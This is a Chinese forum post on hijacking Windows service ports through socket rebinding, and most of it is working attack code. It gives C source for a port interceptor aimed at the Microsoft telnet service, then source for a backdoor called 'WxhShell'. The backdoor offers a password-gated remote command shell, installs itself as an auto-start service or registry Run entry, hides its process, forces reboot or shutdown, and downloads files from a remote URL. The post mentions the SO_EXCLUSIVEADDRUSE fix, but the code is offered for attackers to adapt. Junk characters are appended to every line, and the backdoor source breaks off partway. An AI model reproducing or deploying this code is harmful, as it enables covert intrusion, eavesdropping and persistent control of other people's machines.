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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6Y6DkFdvrZ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J@Eqqyf"  
$5y%\A  
  saddr.sin_family = AF_INET; `;b@a<Wl  
Ed,`1+  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); + 8 5]]}I  
/ <WB%O  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?ix--?jl  
^RytBwzKM  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 FR9qW$B  
VTySKY+  
  这意味着什么?意味着可以进行如下的攻击: }$3eRu +  
?F20\D\V  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 YLVV9(  
V{;!vt~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) sfi.zu G  
-_Pd d[M  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 'gk.J  
q%TWtQS  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  RvKP&  
s42M[BW]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 G\G TS}u[  
9Y!N\-x`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 l CHaRR7  
,80qwN,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Mg;%];2Nt  
D"0:n.  
  #include q65KxOf`  
  #include !!Z#'Wq  
  #include G%w.Z< qy  
  #include    HQ~`ha.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %0C<_drW  
  int main() SLp &_S@4  
  { t!RR5!  
  WORD wVersionRequested; ]|62l+  
  DWORD ret; =r"8J5[f  
  WSADATA wsaData; &C<K|F!j!  
  BOOL val; /!;oO_U:#  
  SOCKADDR_IN saddr; 1>P[3Y@}  
  SOCKADDR_IN scaddr; +aaj3m  
  int err; O=UXe]D  
  SOCKET s; ehk5U,d  
  SOCKET sc; ~$n4Yuu2[  
  int caddsize; S9R(;  
  HANDLE mt; fe PH=C  
  DWORD tid;   .?R~!K{`  
  wVersionRequested = MAKEWORD( 2, 2 ); :)VO,b~r  
  err = WSAStartup( wVersionRequested, &wsaData ); $Llv6<B  
  if ( err != 0 ) { -SZXUN  
  printf("error!WSAStartup failed!\n"); ,?k[<C  
  return -1; 7S$Am84%  
  } xY9 #ouF  
  saddr.sin_family = AF_INET; Fb=(FQ2Y?  
   k#Qav1_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *I6z;.#  
|57u;  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1Q\P] -  
  saddr.sin_port = htons(23); }U3+xl6g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {T4F0fu[eR  
  { %@ UH,Ew  
  printf("error!socket failed!\n"); ITJ{]7N  
  return -1; C'&)""3d  
  } yO*~)ALb+  
  val = TRUE; +v.uP [H  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [8|Y2Z\N  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) MCOiB <L6  
  { abiZ"?(  
  printf("error!setsockopt failed!\n"); 'i5 VU4?K  
  return -1; `)V1GR2 ES  
  } -n&g**\w  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; y4*i V;"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8* 7t1$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 K~'!JP8@  
x|4m*>Ke  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -^sW{s0Rc  
  { j1{|3#5V  
  ret=GetLastError(); d 90  
  printf("error!bind failed!\n");  gGF]Dq  
  return -1; p3>(ZWPNV  
  } )_bc:6Q  
  listen(s,2); '%Og9Bgd+  
  while(1) MMlryn||1  
  { MzjV>.  
  caddsize = sizeof(scaddr); ^X-3YhJ4U  
  //接受连接请求 <xpOi&l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); zVN/|[KP4  
  if(sc!=INVALID_SOCKET) GL;@heP  
  { 3ARvSz@5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Gk_%WY*  
  if(mt==NULL) Z] ?Tx2|7  
  { pde,@0(Fa  
  printf("Thread Creat Failed!\n"); q#LB 2M  
  break; DUH\/<^g  
  } ZK:dhwer  
  } W0e+yIaR  
  CloseHandle(mt); g4b-~1[S  
  } ?LJ$:u  
  closesocket(s); y cYT1Sg 8  
  WSACleanup(); 2iOn\ ^]x  
  return 0; vHR-mQUs  
  }   VB>KT(n-b  
  DWORD WINAPI ClientThread(LPVOID lpParam) Q{%2Npvq  
  { dRw O t  
  SOCKET ss = (SOCKET)lpParam; :"m~tU3&  
  SOCKET sc; ( w4w  
  unsigned char buf[4096]; y8} fj=  
  SOCKADDR_IN saddr; 7$3R}=Z`\q  
  long num; S1jI8 #z}_  
  DWORD val; =5:L#` .  
  DWORD ret; z4t.- 9(C  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6,C2PR_+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   xPBSJhla  
  saddr.sin_family = AF_INET; (al.7VA;9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $+(Df|)  
  saddr.sin_port = htons(23); Mdk(FG(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <Q57}[$*)  
  { N:R6 b5 =}  
  printf("error!socket failed!\n"); n(X{|?  
  return -1; ]U[y3  
  } Pjz_KO/  
  val = 100; WFWQ;U{|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^gw htnI  
  { Y~I$goT  
  ret = GetLastError(); GMk\ l  
  return -1; k^<s|8Y  
  } SCwAAE9s]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RF3?q6j ,  
  { )m8ve)l  
  ret = GetLastError(); [3$L}m  
  return -1; HCBZ*Z-  
  } FHztF$Z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "i jpqI  
  { 1D2Uomd(  
  printf("error!socket connect failed!\n"); $;O-1# ]  
  closesocket(sc); #h,7dz.d  
  closesocket(ss); *"cK_MH/o  
  return -1; Q 6>7{\8l  
  } #Z;6f{yWf  
  while(1) Za,MzKd=  
  { @8keLrp  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 g%C!)UbT  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 K4T#8K]aZF  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $}&r.=J".  
  num = recv(ss,buf,4096,0); cnJL*{H<2  
  if(num>0) '5^$v{  
  send(sc,buf,num,0); g/*x;d=  
  else if(num==0) -dRnozs6W  
  break; "n<rP 3y  
  num = recv(sc,buf,4096,0); 7JC^+ rk  
  if(num>0) Lj]I7ICNh  
  send(ss,buf,num,0); k8>(-W"A  
  else if(num==0) 4)]w"z0Pc  
  break; mT]+wi&  
  } (I<]@7>  
  closesocket(ss); f/1soGA  
  closesocket(sc); z-9@K<`H  
  return 0 ; *[ ' n8Z  
  } ,/m@<NyK  
"h@|XI  
qcN{p7=0  
========================================================== LwPZRE#  
fj 14'T  
下边附上一个代码,,WXhSHELL bIvF5d>9#K  
>Q(+H-w  
========================================================== :eK(9o  
l ~bjNhk  
#include "stdafx.h" Z)JJ-V!  
|AosZeO_  
#include <stdio.h> b*;zdGX.A9  
#include <string.h> N 3M:|D  
#include <windows.h> D\~s$.6B  
#include <winsock2.h> ;N+ v x  
#include <winsvc.h>  {J aulg  
#include <urlmon.h> ?nVwT[  
Vki'pAN  
#pragma comment (lib, "Ws2_32.lib") @ve4rc/LI  
#pragma comment (lib, "urlmon.lib") Ark+Df/  
$ 12mS  
#define MAX_USER   100 // 最大客户端连接数 ;Avz%2#c`  
#define BUF_SOCK   200 // sock buffer B/:+(|  
#define KEY_BUFF   255 // 输入 buffer %_kXC~hH_  
h;q= <[h\  
#define REBOOT     0   // 重启 m=s aUhI*9  
#define SHUTDOWN   1   // 关机 ">{Ruv}$  
4jWzYuI&J  
#define DEF_PORT   5000 // 监听端口 WO}l&Q  
{|R@\G.1(  
#define REG_LEN     16   // 注册表键长度 Sio> QL Y  
#define SVC_LEN     80   // NT服务名长度 t^8 ii  
Nu/D$m'PY  
// 从dll定义API N}$$<i2o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _oV;Y`_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z XI [f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \hlQu{q.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7g* "AEk  
;8| D4+  
// wxhshell配置信息 $0-}|u]5U  
struct WSCFG { 7@[HRr  
  int ws_port;         // 监听端口 X2RM*y|  
  char ws_passstr[REG_LEN]; // 口令 ]q,5'[=~4h  
  int ws_autoins;       // 安装标记, 1=yes 0=no DGs=.U-=e  
  char ws_regname[REG_LEN]; // 注册表键名 nZ4JI+Q)~  
  char ws_svcname[REG_LEN]; // 服务名 WFGcR9mN?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ">8]Oi;g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2#srecIz-!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >AtW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  +*W9*gl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3 s@6pI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^)JUl!5j]C  
|8QXjzH  
}; 2H,^i,  
FW~{io]n  
// default Wxhshell configuration Lip(r3  
struct WSCFG wscfg={DEF_PORT, U<pG P  
    "xuhuanlingzhe", pCB^\M%*  
    1, &-S;.}  
    "Wxhshell", BLepCF38  
    "Wxhshell", )A@ }mIs"  
            "WxhShell Service", Ok0zgi  
    "Wrsky Windows CmdShell Service", NmH1*w<A  
    "Please Input Your Password: ", .C 6wsmQ  
  1, @Cnn8Y&'  
  "http://www.wrsky.com/wxhshell.exe", {OH @z!+d  
  "Wxhshell.exe" b I%Sq+"}  
    }; pBZf=!+E  
nV[0O8p2Md  
// 消息定义模块 : ~R Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Czl4^STiC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @;6I94Bp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #5Q?Q~E@  
char *msg_ws_ext="\n\rExit."; "M-zBBY]  
char *msg_ws_end="\n\rQuit."; YK=o[nPmK  
char *msg_ws_boot="\n\rReboot..."; bOB<m4  
char *msg_ws_poff="\n\rShutdown..."; 1WTDF  
char *msg_ws_down="\n\rSave to "; eX{:&Do  
sI/]pgt2  
char *msg_ws_err="\n\rErr!"; \zdY$3z  
char *msg_ws_ok="\n\rOK!"; _`oP*g =  
\! *3bR  
char ExeFile[MAX_PATH]; u{asKUce\  
int nUser = 0; 6\+ ZTw  
HANDLE handles[MAX_USER]; =&!L&M<<  
int OsIsNt; )=k8W9i8b  
%Voq"}}N  
SERVICE_STATUS       serviceStatus; ?cZ#0U  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0P+B-K>n  
5W Z9z-6  
// 函数声明 nDFF,ge;a#  
int Install(void); ms(Z1ix^  
int Uninstall(void); p{V_}:|=Q  
int DownloadFile(char *sURL, SOCKET wsh); L~Hl?bK  
int Boot(int flag); Y:x,pPyl  
void HideProc(void); x)]_]_vX  
int GetOsVer(void); ytmFe!  
int Wxhshell(SOCKET wsl); ym]12PAU5  
void TalkWithClient(void *cs); 5PcN$r"P  
int CmdShell(SOCKET sock); MV(Sb:RZ  
int StartFromService(void); fwN'5ep  
int StartWxhshell(LPSTR lpCmdLine); XEUy,>mR  
S-5|t]LV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $ ]fautQlt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F0D7+-9[  
J{69iQ  
// 数据结构和表定义 ?<*mIf:?  
SERVICE_TABLE_ENTRY DispatchTable[] = RaT_5PH~g  
{ [|vE*&:uO  
{wscfg.ws_svcname, NTServiceMain}, y^iju(  
{NULL, NULL} LH@xr\^  
}; Q.b<YRZ  
x;w^&<hQ\  
// 自我安装 O(_a6s+m  
int Install(void) n[E#K`gg'  
{ doX8Tq   
  char svExeFile[MAX_PATH]; FX yyY-(O  
  HKEY key; San=E@3}v!  
  strcpy(svExeFile,ExeFile); sC< B  
]N& Y25oT5  
// 如果是win9x系统,修改注册表设为自启动 #GlQwk3  
if(!OsIsNt) { 5n1aRA1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZCcKY6b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sOf;I]E|  
  RegCloseKey(key); 1DTA Dh0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { id" -eMwp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w,s++bV;L  
  RegCloseKey(key); Ir,3' G  
  return 0; -|FSdzvg  
    } v/s6!3pnl  
  } i3SrsVSG  
} {9,!XiF.:  
else { D)_67w|u|  
`\pv^#5HV9  
// 如果是NT以上系统,安装为系统服务 1 7..  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <'N(`.&3C  
if (schSCManager!=0) xMpQPTte  
{ /A4^l]H;+3  
  SC_HANDLE schService = CreateService &Q>tV+*  
  ( S>6f0\F/Y%  
  schSCManager, rsGQ :c  
  wscfg.ws_svcname, c1wP/?|.>  
  wscfg.ws_svcdisp, FG6bKvEQm^  
  SERVICE_ALL_ACCESS, wuV*!oefo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ULJV  
  SERVICE_AUTO_START, Ch;wvoy  
  SERVICE_ERROR_NORMAL, hi.` O+;  
  svExeFile, fDzG5}i  
  NULL, v 0 3  
  NULL, ^'Z?BK  
  NULL, O/N@ Gz[g%  
  NULL, V~~4<?=A  
  NULL >Av[`1a2F  
  ); J}{a&3@Hm  
  if (schService!=0) C 7a$>#%  
  { *}@zxFe +  
  CloseServiceHandle(schService); 01_*^iCf5  
  CloseServiceHandle(schSCManager); h,palP6^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O,c}T7A'?w  
  strcat(svExeFile,wscfg.ws_svcname); ;Pd nE~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yPmo@aw]1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); - Mubq  
  RegCloseKey(key); PL}c1Ud  
  return 0; W74Y.zQ  
    } }}Kj b  
  } P\nz;}nv  
  CloseServiceHandle(schSCManager); h;lg^zlTb  
} YTk"'q-  
} W[R^5{k`  
jI;iTKjB(  
return 1; Z+%w|Sx  
} ^{m&2l&87  
:,f~cdq=  
// 自我卸载 Nj^:8]D)0  
int Uninstall(void) fK?/o]vq  
{ ~ZuFMVR  
  HKEY key; fp)%Cr  
[J-uvxD  
if(!OsIsNt) { +5k^-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |Q\O% cb  
  RegDeleteValue(key,wscfg.ws_regname); VUF$,F9  
  RegCloseKey(key); H[M(t^GM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n{1;BW#H  
  RegDeleteValue(key,wscfg.ws_regname); |RS(QU<QE  
  RegCloseKey(key); \Aa{]t  
  return 0; OBm#E}  
  }  L#>^R   
} 4]P5k6 nV  
} ;&2f{  
else { &$V&gAN  
xaw)iC[gI{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |Vj@;+/j  
if (schSCManager!=0) -H+<81"B#  
{ dW4FMm>|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tF&g3)D:NV  
  if (schService!=0) %%c1@2G<  
  { 0LW|5BVbIO  
  if(DeleteService(schService)!=0) { Jjr&+Q^3Tu  
  CloseServiceHandle(schService); v*[oe  
  CloseServiceHandle(schSCManager); m,X8Cy|vQ  
  return 0; KccIYn~  
  } e,cSB!7  
  CloseServiceHandle(schService); 4Y/kf%]]A  
  } [/+}E X  
  CloseServiceHandle(schSCManager); = 9K5f# ;e  
} ` v"p""_H  
} {S6:LsFfm  
*]#(?W.$w  
return 1; } Tz<fd/  
} ^8q(_#w`K  
d&x #9ka  
// 从指定url下载文件 ,ej89  
int DownloadFile(char *sURL, SOCKET wsh)  d  H ;  
{ x Rp;y*  
  HRESULT hr; " R5! VV  
char seps[]= "/"; >K@Y8J+ e#  
char *token; lB< kf1[  
char *file; N\nxo0sl  
char myURL[MAX_PATH]; OciPd/6  
char myFILE[MAX_PATH]; KM:k<pvi  
8TH fFL  
strcpy(myURL,sURL); XN Gw@$  
  token=strtok(myURL,seps); j-%@A`j;  
  while(token!=NULL) RO!em~{D*  
  { S@^o=B]]  
    file=token; $uj3W<iw3E  
  token=strtok(NULL,seps); !$Whftg  
  } ~e;2gm  
7E]qP 5  
GetCurrentDirectory(MAX_PATH,myFILE); \96aHOk<  
strcat(myFILE, "\\"); Py^fWQ5I~%  
strcat(myFILE, file); +v{g'  
  send(wsh,myFILE,strlen(myFILE),0); |J^}BXW'^)  
send(wsh,"...",3,0); >2BWie?T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H)rE-7(f!  
  if(hr==S_OK) 9,J^tN@^  
return 0; 0 YA  
else fP>~ @^  
return 1; _@L{]6P%V  
$O[$<D%H  
} |]UR&*  
$s S;#r0  
// 系统电源模块 sL",Ho  
int Boot(int flag) 1{Kv  
{ ODFCA. t  
  HANDLE hToken; 5==hyIy  
  TOKEN_PRIVILEGES tkp; d$}!x[g$Z  
@ i*It Hk  
  if(OsIsNt) { pW,)yo4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7 /7,55  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $TZjSZ1w  
    tkp.PrivilegeCount = 1; #e*jP&1S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9%& =n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?K!^[aO}=  
if(flag==REBOOT) { /t|Lu@&:Xo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {Q~HMe`,  
  return 0;  c_ Dg0  
} bD:[r))#e  
else { $GJuS^@%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &$NYZ3?9  
  return 0; )C&'5z  
} O-,0c1ts  
  } !eP)"YWI3  
  else { $_Kcm"oj  
if(flag==REBOOT) { E'iN==p_:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m/bP`-/,  
  return 0; EN-;@P9;C  
} H/''lI{k)  
else { k/,7FDO?m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h6;vOd~%  
  return 0; l#|wF$J  
} |6o!]~&e$1  
} pybE0]   
#<o=W#[  
return 1; X4dxH_@  
} ^hRx{A  
8~j1  
// win9x进程隐藏模块 k}hTSL  
void HideProc(void) G<W;HMj2  
{ !e?2 x@J  
]y\Wc0 q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _L% =Q ulu  
  if ( hKernel != NULL ) pZ)N,O3  
  { Rc2JgV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (TTS-(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iPCDxDLN3V  
    FreeLibrary(hKernel); K:L_y 1!T  
  } a\ZNNk  
c1sVdM}|  
return; G/N1[)  
} E2i'lO\P  
]S+KH \2  
// 获取操作系统版本 nw,XA0M3  
int GetOsVer(void) k{C03=xk  
{ N!%[.3o\K  
  OSVERSIONINFO winfo; n`.JI(|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e5$S2o~JF  
  GetVersionEx(&winfo); C0gO^A.d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SQ la]%  
  return 1; XP^[,)E  
  else ,!vI@>nhG  
  return 0; ddzMwucjp  
} `DS7J\c$  
HAmAmEc,  
// 客户端句柄模块 FjV)QP H  
int Wxhshell(SOCKET wsl) V/Q/Ujgg  
{ ((AIrE>Rr  
  SOCKET wsh; BF/l#)$yK  
  struct sockaddr_in client; `q m$2  
  DWORD myID; +5"Pm]oRbx  
N1yx|g:  
  while(nUser<MAX_USER) $!7$0WbC  
{ C$4!|Wg3  
  int nSize=sizeof(client); @ MKf$O4K  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a)QSq<2*  
  if(wsh==INVALID_SOCKET) return 1; 8 -YC#&  
!rTkH4!_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); })umg8s  
if(handles[nUser]==0) Vb,'VN%   
  closesocket(wsh); x(7Q5Uk\  
else td5! S]  
  nUser++; C;I:?4  
  } Cg3 d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +} x\|O  
(>C$8)v  
  return 0; N oRPvFv  
} fL~@v-l#~  
!g4u<7  
// 关闭 socket 0b}.!k9  
void CloseIt(SOCKET wsh) *h M5pw  
{ _)ZxD--Qg  
closesocket(wsh); ;T :]?5W!  
nUser--; pEq }b+-  
ExitThread(0); 4u= v  
} 2= zw !  
,t +sw4  
// 客户端请求句柄 gX]ewbPDQ  
void TalkWithClient(void *cs) |ITh2m  
{ Slv91c&md,  
c2wgJH!g  
  SOCKET wsh=(SOCKET)cs; `+!F#.  
  char pwd[SVC_LEN]; \: Q)X$6  
  char cmd[KEY_BUFF]; -"6Z@8=  
char chr[1]; ^@f.~4P*I  
int i,j; heScIe N^`  
p^)w$UL}}  
  while (nUser < MAX_USER) { LRqlK\  
j8W<iy  
if(wscfg.ws_passstr) { 0M!GoqaA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e.WKf,e"X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uxlrJ1~M  
  //ZeroMemory(pwd,KEY_BUFF); v}TFM  
      i=0;  {gb` %J  
  while(i<SVC_LEN) { CU@}{}Yl  
elz0t<V  
  // 设置超时 #ri;{d^6  
  fd_set FdRead; m4?a'z"  
  struct timeval TimeOut; qIwsK\^p  
  FD_ZERO(&FdRead); 0i(c XB  
  FD_SET(wsh,&FdRead); ^s\T<;  
  TimeOut.tv_sec=8; 4{ [d '-H5  
  TimeOut.tv_usec=0; 5c$\DZ(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _&N}.y)+t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rV}&G!V_t  
M9~6ry-_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D2I|Z  
  pwd=chr[0]; 0UhJ I  
  if(chr[0]==0xd || chr[0]==0xa) { %D3Asw/5a  
  pwd=0; Nx"|10gC  
  break; M9Xq0BBu  
  } + />f?+  
  i++; 06e dVIRr  
    } [1e]_9)p  
W5>emx'>  
  // 如果是非法用户,关闭 socket +K?sg;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1Gy [^  
} B Q2N_*v  
N@X(YlO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hdwF;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Nu euCiP  
TE6]4E*  
while(1) { -""(>$b 2  
Py#TXzEcC  
  ZeroMemory(cmd,KEY_BUFF); 9Dp0Pi?29  
?JBA`,-  
      // 自动支持客户端 telnet标准   -vv_6Z L[  
  j=0; 0:JNkXZ:  
  while(j<KEY_BUFF) { Q CO,f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {E0\mZ2  
  cmd[j]=chr[0]; w?P ex]i{  
  if(chr[0]==0xa || chr[0]==0xd) {  uU=!e&3  
  cmd[j]=0; Ygc|9}  
  break; K>TEt5  
  } 0 \V)DV.i  
  j++; e,MgR\F}  
    } tX6_n%/L  
n=?wX#rEC#  
  // 下载文件 *fz#B/ _o  
  if(strstr(cmd,"http://")) { 10xza=a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a(LtiO  
  if(DownloadFile(cmd,wsh)) FKUo^F?z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bj GfUQ  
  else q:=jv6T#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dus!Ki~8(t  
  } 0lV;bVa%  
  else { *c 9 S.  
/vC!__K9:  
    switch(cmd[0]) { }X. Fm'`  
  @^/aS;B$>  
  // 帮助 ^7yaM B!  
  case '?': { hkdF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FY`t7_Y?GV  
    break; +X`&VO6~  
  } R{ udV  
  // 安装 Tv6y +l  
  case 'i': { 9bhubx\^/  
    if(Install()) (\o4 c0UzK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =R"LB}>h}  
    else P@D\5}*6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a_-@rceU  
    break; w|Ry) [  
    } f8ZuG !U  
  // 卸载 #lc6-K#  
  case 'r': { d2TIG<6/  
    if(Uninstall()) w@Asz9Lq%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z}{]/=h  
    else Xpp v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Uf MQ?(,  
    break; qoZ)"M  
    } 4I .'./u  
  // 显示 wxhshell 所在路径 OZC yg/K  
  case 'p': { jFip-=T{4  
    char svExeFile[MAX_PATH];  e<(6x[_  
    strcpy(svExeFile,"\n\r"); o1"N{ Eu  
      strcat(svExeFile,ExeFile); d]:G#<.  
        send(wsh,svExeFile,strlen(svExeFile),0); 3V7WIj<  
    break; R+_!FnOJ  
    } yz,0 S'U  
  // 重启 H_Xk;fM  
  case 'b': { uUV"86B_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); , &n"#  
    if(Boot(REBOOT)) XE&h&v=>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _#MKpH  
    else { *}T|T%L4)  
    closesocket(wsh); 5SZa, +]  
    ExitThread(0); f( Dtv  
    } EJRkFn8XG'  
    break; Ke=+D'=  
    } 6kMkFZ}+  
